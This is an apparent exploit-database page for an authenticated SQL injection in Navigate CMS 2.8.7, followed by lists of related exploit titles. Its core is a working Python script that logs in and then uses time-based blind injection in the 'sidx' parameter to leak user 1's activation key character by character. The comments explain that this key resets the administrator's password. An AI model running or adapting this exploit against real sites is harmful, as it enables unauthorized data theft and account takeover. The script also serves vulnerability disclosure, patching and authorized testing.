Search for hundreds of thousands of exploits

"Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated)"

Author

Exploit author

"Gus Ralph"

Platform

Exploit platform

php

Release date

Exploit published date

2020-06-04

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Exploit Title: Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated)
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://www.navigatecms.com/en/home
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
# Version: 2.8.7
# Tested on: Ubuntu
# CVE: N/A

# This script will leak the "activation_key" value for the user who's ID is set to 1 in the database.
# The activation key can be used to reset that user's password to whatever you want, bypassing the need to crack a hash.
# An example password reset URL would be: `/login.php?action=password-reset&value=[ACTIVATION CODE LEAKED FROM DB]`

import requests, time, string

user = raw_input("Please enter your username: \n")
password = raw_input("Please enter your password: \n")
URL = raw_input("Enter the target URL (in this format 'http://domain.com/navigate/'): \n")

s = requests.Session()
data = {'login-username': (None, user), 'login-password':(None, password)}
s.post(url = URL + "login.php", files = data)
dictionary = string.ascii_lowercase + string.ascii_uppercase + string.digits
final = ""
while True:
        for x in dictionary:
                payload = '(SELECT (CASE WHEN EXISTS(SELECT password FROM nv_users WHERE activation_key REGEXP BINARY "^' + str(final) + x + '.*" AND id = 1) THEN (SELECT sleep(5)) ELSE date_created END)); -- -'
                r = s.post(url = URL + "/navigate.php?fid=comments&act=1&rows=1&sidx=" + payload)
                if int(r.elapsed.total_seconds()) > 4:
                        final += x
                        print "Leaking contents of admin hash: " + final
                        break
                else:
                        pass
Release DateTitleTypePlatformAuthor
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"OpenEMR 5.0.1 - 'controller' Remote Code Execution"webappsphp"Emre ÖVÜNÇ"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
2020-06-26"KiteService 1.2020.618.0 - Unquoted Service Path"localwindows"Marcos Antonio León"
2020-06-25"FHEM 6.0 - Local File Inclusion"webappsphp"Emre ÖVÜNÇ"
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre ÖVÜNÇ"
2020-06-24"BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting"webappsmultiple"William Summerhill"
2020-06-23"Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)"webappsphpBKpatron
2020-06-23"Lansweeper 7.2 - Incorrect Access Control"localwindows"Amel BOUZIANE-LEBLOND"
Release DateTitleTypePlatformAuthor
2020-06-05"Online-Exam-System 2015 - 'feedback' SQL Injection"webappsphp"Gus Ralph"
2020-06-04"Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated)"webappsphp"Gus Ralph"
2020-06-04"Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin)"webappsphp"Gus Ralph"
2020-06-04"Navigate CMS 2.8.7 - Authenticated Directory Traversal"webappsphp"Gus Ralph"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48545/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.